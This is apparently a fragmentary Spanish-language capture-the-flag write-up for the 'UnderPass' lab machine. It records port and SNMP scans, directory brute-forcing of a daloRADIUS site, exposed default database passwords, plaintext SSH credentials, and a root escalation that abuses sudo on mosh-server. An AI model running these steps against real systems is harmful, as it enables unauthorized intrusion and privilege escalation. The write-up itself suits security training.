Box Info
| Name | UnderPass |
|---|---|
| Release Date | 21 Dec, 2024 |
| OS | Linux |
| Rated Difficulty | Easy |
Recon
sudo nmap -p- --open --min-rate 5000 -sS -n -vvv -Pn 10.10.11.48 -oG allPortsnmap -sCV -p 22,80 10.10.11.48 -oN targetedUDP Scan
nmap -sU -T5 -n -v 10.10.11.48 -oG udpPorts
nmap -p161 -sU -sCV -T5 -n -v 10.10.11.48
snmpwalk -v2c -c public 10.10.11.48 1

dirsearch -u http://10.10.11.48/daloradius/

dirsearch
[22:21:36] 200 - 221B - /daloradius/.gitignore[22:22:26] 301 - 319B - /daloradius/app -> http://10.10.11.48/daloradius/app/[22:22:45] 200 - 24KB - /daloradius/ChangeLog[22:23:05] 301 - 319B - /daloradius/doc -> http://10.10.11.48/daloradius/doc/[22:23:06] 200 - 2KB - /daloradius/Dockerfile[22:23:06] 200 - 2KB - /daloradius/docker-compose.yml[22:23:42] 200 - 18KB - /daloradius/LICENSE[22:23:42] 301 - 323B - /daloradius/library -> http://10.10.11.48/daloradius/library/[22:24:28] 200 - 10KB - /daloradius/README.md[22:24:40] 301 - 321B - /daloradius/setup -> http://10.10.11.48/daloradius/setup/File: docker-compose.yml

version: "3"
services:
radius-mysql: image: mariadb:10 container_name: radius-mysql restart: unless-stopped environment: - MYSQL_DATABASE=radius - MYSQL_USER=radius - MYSQL_PASSWORD=radiusdbpw - MYSQL_ROOT_PASSWORD=radiusrootdbpw volumes: - "./data/mysql:/var/lib/mysql"
radius: container_name: radius build: context: . dockerfile: Dockerfile-freeradius restart: unless-stopped depends_on: - radius-mysql ports: - '1812:1812/udp' - '1813:1813/udp' environment: - MYSQL_HOST=radius-mysql - MYSQL_PORT=3306 - MYSQL_DATABASE=radius - MYSQL_USER=radius - MYSQL_PASSWORD=radiusdbpw # Optional settings - DEFAULT_CLIENT_SECRET=testing123 volumes: - ./data/freeradius:/data # If you want to disable debug output, remove the command parameter command: -X
radius-web: build: . container_name: radius-web restart: unless-stopped depends_on: - radius - radius-mysql ports: - '80:80' - '8000:8000' environment: - MYSQL_HOST=radius-mysql - MYSQL_PORT=3306 - MYSQL_DATABASE=radius - MYSQL_USER=radius - MYSQL_PASSWORD=radiusdbpw # Optional Settings: - DEFAULT_CLIENT_SECRET=testing123 - DEFAULT_FREERADIUS_SERVER=radius - MAIL_SMTPADDR=127.0.0.1 - MAIL_PORT=25 - MAIL_FROM=root@daloradius.xdsl.by - MAIL_AUTH=
volumes: - ./data/daloradius:/dataTenemos el puerto UDP 1812


dirsearch -u "http://10.10.11.48/daloradius/app/"Target: http://10.10.11.48/
[12:24:00] Starting: daloradius/app/
[12:25:43] 301 - 326B - /daloradius/app/common -> http://10.10.11.48/daloradius/app/common/[12:28:54] 301 - 325B - /daloradius/app/users -> http://10.10.11.48/daloradius/app/users/[12:28:54] 302 - 0B - /daloradius/app/users/ -> home-main.php[12:28:54] 200 - 2KB - /daloradius/app/users/login.php
Task CompletedDirectory “Operators”
dirsearch -u "http://10.10.11.48/daloradius/app/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
- Primera web

- Segunda web

Ejecutamos un escaneo de directorios.



Encontramos un login en la segunda pagina web

Usuario


Logeamos con las credenciales obtenidas en ssh
svcMosh
underwaterfriends

Privilege Escalation
sudo -l


mosh -h para ver que opciones tenemos para escalar privilegios

mosh --server="sudo /usr/bin/mosh-server" localhost